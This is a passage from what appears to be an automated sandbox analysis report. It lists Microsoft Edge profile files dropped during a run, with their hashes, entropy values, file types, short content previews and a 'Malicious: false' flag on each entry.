Entropy (8bit):	5.1150993915384255
Encrypted:	false
SSDEEP:	6:HCq/Oq2PN723oH+Tcwt7Uh2ghZIFUt8YCQfZmw+YCVzkwON723oH+Tcwt7Uh2gnd:DOvVaYebIhHh2FUt8W/+vz5OaYebIhHd
MD5:	7399BE22D46850D68F2D9ACB1CE7E94F
SHA1:	A1ED62CD4B4299494615317D3B95A12C883CAF34
SHA-256:	CEDD34FC9132573E227204D0AAE75D3BA068207E29A3196EF2F41A22CD7056A5
SHA-512:	F3A83A58235ADE63D2AB44FEFEA13D356AB1B162E69D515189CF832BAD04F87FCFC3C12C8C6EFE0328EBBF6EE633B776B72AE280481DFB990D9F89AD5B9A76AF
Malicious:	false
Preview:	2024/11/27-05:14:33.516 1e00 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/27-05:14:33.576 1e00 Recovering log #3.2024/11/27-05:14:33.577 1e00 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.1150993915384255
Encrypted:	false
SSDEEP:	6:HCq/Oq2PN723oH+Tcwt7Uh2ghZIFUt8YCQfZmw+YCVzkwON723oH+Tcwt7Uh2gnd:DOvVaYebIhHh2FUt8W/+vz5OaYebIhHd
MD5:	7399BE22D46850D68F2D9ACB1CE7E94F
SHA1:	A1ED62CD4B4299494615317D3B95A12C883CAF34
SHA-256:	CEDD34FC9132573E227204D0AAE75D3BA068207E29A3196EF2F41A22CD7056A5
SHA-512:	F3A83A58235ADE63D2AB44FEFEA13D356AB1B162E69D515189CF832BAD04F87FCFC3C12C8C6EFE0328EBBF6EE633B776B72AE280481DFB990D9F89AD5B9A76AF
Malicious:	false
Preview:	2024/11/27-05:14:33.516 1e00 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/27-05:14:33.576 1e00 Recovering log #3.2024/11/27-05:14:33.577 1e00 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.228123597054503
Encrypted:	false
SSDEEP:	12:0yvVaYebvqBQFUt87u/+eWR5OaYebvqBvJ:0YVaYebvZg87BDOaYebvk
MD5:	150A36294AFA3164CB4401009E32A35D
SHA1:	5CA3BA171536EFBE5DE201539916F20BC057FD46
SHA-256:	4063E9045C0688FBED313F71F378CA2ED532A322064E14E857A40CA45779594B
SHA-512:	C3A836E1ACE63C0CEF889D824C81176C0A6B841E6A46F7549C4EBDA46A8514DF688AC132ECC83CF9A903B6BEE54648E5EDA011E8B8B84EC218F156A81B24FD38
Malicious:	false
Preview:	2024/11/27-05:14:34.295 1490 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/27-05:14:34.300 1490 Recovering log #3.2024/11/27-05:14:34.323 1490 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.228123597054503
Encrypted:	false
SSDEEP:	12:0yvVaYebvqBQFUt87u/+eWR5OaYebvqBvJ:0YVaYebvZg87BDOaYebvk
MD5:	150A36294AFA3164CB4401009E32A35D
SHA1:	5CA3BA171536EFBE5DE201539916F20BC057FD46
SHA-256:	4063E9045C0688FBED313F71F378CA2ED532A322064E14E857A40CA45779594B
SHA-512:	C3A836E1ACE63C0CEF889D824C81176C0A6B841E6A46F7549C4EBDA46A8514DF688AC132ECC83CF9A903B6BEE54648E5EDA011E8B8B84EC218F156A81B24FD38
Malicious:	false
Preview:	2024/11/27-05:14:34.295 1490 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/27-05:14:34.300 1490 Recovering log #3.2024/11/27-05:14:34.323 1490 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\08d7a710-f38c-4820-bbc1-ab9eb12a5489.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\13a722d5-42f1-43f2-ad69-ac78c4200bbb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\20a37dcf-5026-47da-907d-d792f21907cc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3cf28.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\d75b7ea6-368d-4db0-8d92-cd063dc626ed.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	423
Entropy (8bit):	5.208072918988787
Encrypted:	false
SSDEEP:	12:4X6+vVaYebvqBZFUt8TX7/+TXNNV5OaYebvqBaJ:a7VaYebvyg8befOaYebvL
MD5:	41D8C1D23B52EF0779B9445FDC3F349A
SHA1:	0D03F81B69448685A265845F20E5B7B38C1C254C
SHA-256:	21F3057C2D87AFC397CEED9FD674DB2C03D1EA94C74E026C5A3A1152BF056349
SHA-512:	5D9EA5A3098D5E2B3C974BA26712FBBD688A06360864A86CC473BF6586CAFB165BE02E79E0CA15273051BFC67BD35542FC9090FFBE0363276016678A44F7EAC2
Malicious:	false
Preview:	2024/11/27-05:14:52.200 59c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/27-05:14:52.201 59c Recovering log #3.2024/11/27-05:14:52.205 59c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	423
Entropy (8bit):	5.208072918988787
Encrypted:	false
SSDEEP:	12:4X6+vVaYebvqBZFUt8TX7/+TXNNV5OaYebvqBaJ:a7VaYebvyg8befOaYebvL
MD5:	41D8C1D23B52EF0779B9445FDC3F349A
SHA1:	0D03F81B69448685A265845F20E5B7B38C1C254C
SHA-256:	21F3057C2D87AFC397CEED9FD674DB2C03D1EA94C74E026C5A3A1152BF056349
SHA-512:	5D9EA5A3098D5E2B3C974BA26712FBBD688A06360864A86CC473BF6586CAFB165BE02E79E0CA15273051BFC67BD35542FC9090FFBE0363276016678A44F7EAC2
Malicious:	false
Preview:	2024/11/27-05:14:52.200 59c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/27-05:14:52.201 59c Recovering log #3.2024/11/27-05:14:52.205 59c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.1887228620181824
Encrypted:	false
SSDEEP:	6:HCsRj+q2PN723oH+TcwtpIFUt8YCsRbXWZmw+YCsRbiVkwON723oH+Tcwta/WLJ:1+vVaYebmFUt8UXW/+UiV5OaYebaUJ
MD5:	AE751BCDBA415A94139A73693EED364E
SHA1:	784E13396CFC524DEA38E82B5C5A8E306287105E
SHA-256:	D3B0C6B1D9A239CAE052E4ABC7C6712D901F0E975171FA8839871270A62DFAE7
SHA-512:	AF56177AFD91A7C01F9E782D418D5309A489871FF4BE8EF9354854ECA7249A0F4132E875C7D358C4D881F56A2FBF0F294FE3B5C2286146EFAF7E53C5C28EC3AF
Malicious:	false
Preview:	2024/11/27-05:14:33.445 1dec Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/27-05:14:33.446 1dec Recovering log #3.2024/11/27-05:14:33.446 1dec Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.1887228620181824
Encrypted:	false
SSDEEP:	6:HCsRj+q2PN723oH+TcwtpIFUt8YCsRbXWZmw+YCsRbiVkwON723oH+Tcwta/WLJ:1+vVaYebmFUt8UXW/+UiV5OaYebaUJ
MD5:	AE751BCDBA415A94139A73693EED364E
SHA1:	784E13396CFC524DEA38E82B5C5A8E306287105E
SHA-256:	D3B0C6B1D9A239CAE052E4ABC7C6712D901F0E975171FA8839871270A62DFAE7
SHA-512:	AF56177AFD91A7C01F9E782D418D5309A489871FF4BE8EF9354854ECA7249A0F4132E875C7D358C4D881F56A2FBF0F294FE3B5C2286146EFAF7E53C5C28EC3AF
Malicious:	false
Preview:	2024/11/27-05:14:33.445 1dec Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/27-05:14:33.446 1dec Recovering log #3.2024/11/27-05:14:33.446 1dec Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.267738057204242
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkM9SA1LyKOMq+8iP5GDHP/0jMVumD:Kq+n0J991LyKOMq+8iP5GLP/0i
MD5:	2B08B952856DE1BB4BF435E9A981B8F9
SHA1:	0125D56AF7B327EF84A5BA28E9D96FD397205FAD
SHA-256:	8A195C58CFDF2E342674168DE73785B81709B5BD13A25EC82BD1054CA9442438
SHA-512:	A79A6E63654BFCB6A23FAD664E6F712FA5A7A9CD0D2EC9C629667EA5E61DC9B04C7B4BD1065CFBCDDD6979D4D68F6758074A1125AC5B89CA43DDBF94274AD3F1
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.46621613452218685
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0Gf:v7doKsKuKZKlZNmu46yjx0S
MD5:	478CFE905065E22EF34C4D06A0E42E8C
SHA1:	49855A08188A4AB3076746D1D427CB1EAADCD093
SHA-256:	D425F3F4F1621EFACBE0FA17AC245E3E0B73699ECBF80D5029D3A36F6395B858
SHA-512:	7CDEF08F98746BB1BAC3C3185E95EE69E14E83572C9A1F81C4D72FA277E265796CBFCF80CD855E324A42AE9421FE7CB3ACA466420A5BA29A1809A9380ED2D5DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\baa94328-dad7-48db-8782-acd850e8e8fb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\bcb33f8e-c721-451c-b9ea-97277c705961.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17494), with no line terminators
Category:	dropped
Size (bytes):	17496
Entropy (8bit):	5.485244903168457
Encrypted:	false
SSDEEP:	384:stWPGQSu4usfwCDFpR+Bw5nlkz9bGwQw43G:sgOXuiwCF+jbG/hG
MD5:	6982CD1167BFAE92428ECB70C3235130
SHA1:	C8755B51B95D5FED03CC28EE3278A07AE1ED2363
SHA-256:	B8F6E4D8161C13A1985F807F0A53A68914DC474C9555D02874D920DD0E03764E
SHA-512:	0CEC717685656E091DFD79A47302198055217617CF9A05656F61AC56ECA3E4375683307FB9CE7AC506033726364581F280AD89F22694A1A1411A1D0D843F797E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377176074001445","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\cc0a53fa-fe80-4b42-8e71-1806eac3d2f7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9758
Entropy (8bit):	5.106513739943008
Encrypted:	false
SSDEEP:	192:stWkdpusfwaFvrE9kYxt8vbV+F5eQAyUdPTYJ:stWQusfwCDvbGwQQG
